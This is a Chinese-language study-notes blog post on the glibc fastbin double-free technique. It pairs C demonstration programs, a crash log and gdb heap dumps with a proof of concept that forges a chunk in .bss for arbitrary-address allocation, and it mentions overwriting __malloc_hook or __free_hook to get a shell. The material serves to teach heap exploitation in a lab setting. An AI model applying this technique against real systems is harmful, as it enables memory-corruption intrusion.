题外:本文只是记录自己所学,参考博客:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
fastbin attack大体思路是修改chunk的fd指针或通过free伪造的chunk,将其添加到fastbin链表中,再通过malloc分配给用户从而达到任意地址写。大致可分为以下几种利用方法。
fastbin double free:
fastbin double free就是将同一个chunk free两次。不过free函数有一个检查,我们必须得绕过:
if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)");
这个检查大致意思是当前free的不能和fastbin里的第一chunk为同一个chunk。假设要free chunk1两次,那free的顺序必须是chunk1 chunk2 chunk1,否则会报错。
具体请看示例代码:
#include <stdio.h> #include <stdlib.h> int main() { void *ptr, *ptr2; ptr = malloc(0x20); free(ptr); free(ptr); return 0; }
编译运行则会出现如下错误:
*** Error in `./test2‘: double free or corruption (fasttop): 0x0000000000aa0010 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f34ac1c37e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f34ac1cc37a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f34ac1d053c] ./test2[0x400594] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f34ac16c830] ./test2[0x400499] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 811832 /home/countfatcode/Fastbin/test2 00600000-00601000 r--p 00000000 08:01 811832 /home/countfatcode/Fastbin/test2 00601000-00602000 rw-p 00001000 08:01 811832 /home/countfatcode/Fastbin/test2 00aa0000-00ac1000 rw-p 00000000 00:00 0 [heap] 7f34a7dea000-7f34a7e00000 r-xp 00000000 08:01 1054019 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f34a7e00000-7f34a7fff000 ---p 00016000 08:01 1054019 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f34a7fff000-7f34a8000000 rw-p 00015000 08:01 1054019 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f34a8000000-7f34a8021000 rw-p 00000000 00:00 0 7f34a8021000-7f34ac000000 ---p 00000000 00:00 0 7f34ac14c000-7f34ac30c000 r-xp 00000000 08:01 1066000 /lib/x86_64-linux-gnu/libc-2.23.so 7f34ac30c000-7f34ac50c000 ---p 001c0000 08:01 1066000 /lib/x86_64-linux-gnu/libc-2.23.so 7f34ac50c000-7f34ac510000 r--p 001c0000 08:01 1066000 /lib/x86_64-linux-gnu/libc-2.23.so 7f34ac510000-7f34ac512000 rw-p 001c4000 08:01 1066000 /lib/x86_64-linux-gnu/libc-2.23.so 7f34ac512000-7f34ac516000 rw-p 00000000 00:00 0 7f34ac516000-7f34ac53c000 r-xp 00000000 08:01 1065984 /lib/x86_64-linux-gnu/ld-2.23.so 7f34ac720000-7f34ac723000 rw-p 00000000 00:00 0 7f34ac73a000-7f34ac73b000 rw-p 00000000 00:00 0 7f34ac73b000-7f34ac73c000 r--p 00025000 08:01 1065984 /lib/x86_64-linux-gnu/ld-2.23.so 7f34ac73c000-7f34ac73d000 rw-p 00026000 08:01 1065984 /lib/x86_64-linux-gnu/ld-2.23.so 7f34ac73d000-7f34ac73e000 rw-p 00000000 00:00 0 7ffd9571f000-7ffd95740000 rw-p 00000000 00:00 0 [stack] 7ffd957f9000-7ffd957fb000 r--p 00000000 00:00 0 [vvar] 7ffd957fb000-7ffd957fd000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储)
这是因为我们free的chunk和fastbin的第一chunk为通过一个chunk,所以会被ptmalloc检查出来。此时我们修改代码为如下示例:
#include <stdio.h> #include <stdlib.h> int main() { void *ptr, *ptr2; ptr = malloc(0x20); ptr2 = malloc(0x20); free(ptr); free(ptr2); free(ptr); return 0; }
编译运行后不会报错。现在我们来调试一下看看ptmalloc是怎么管理fastbin的。
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000031 -------ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000031 -------ptr2 0x602040: 0x0000000000602000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000020fa1 --- top chunk 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此时程序还没有free ptr两次,我们可以看出ptr2的fd指针指向的是ptr,而ptr的fd指针为空,fastbin链表为如下情形:
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x602030 --> 0x602000 --> 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x602060 (size : 0x20fa0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0
此时我们执行再次执行free(ptr),可以看出ptr的fd指针指向了ptr2
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000031 ------ptr 0x602010: 0x0000000000602030 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000031 ------ptr2 0x602040: 0x0000000000602000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000020fa1 ------top chunk 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
fastbin链表如下:
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x602000 --> 0x602030 --> 0x602000 (overlap chunk with 0x602000(freed) ) (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x602060 (size : 0x20fa0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0
利用这个思路,我们可以通过修改ptr的fd指针指向fake chunk从而达到任意地址写的目的。示例代码如下:
#include <stdio.h> #include <stdlib.h> typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。 chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; }
调试即可发现我们成功在.bss段上申请了一个chunk。
小总结:fastbin double free通过free两次再修改fd指针达到利用目的。这种方法再free后没有清空指针尤其好用。利用这种方法可以泄露栈上的关键数据,或者直接修改__malloc_hook或__free_hook直接拿到靶机的shell。
原文地址:https://www.cnblogs.com/countfatcode/p/11829124.html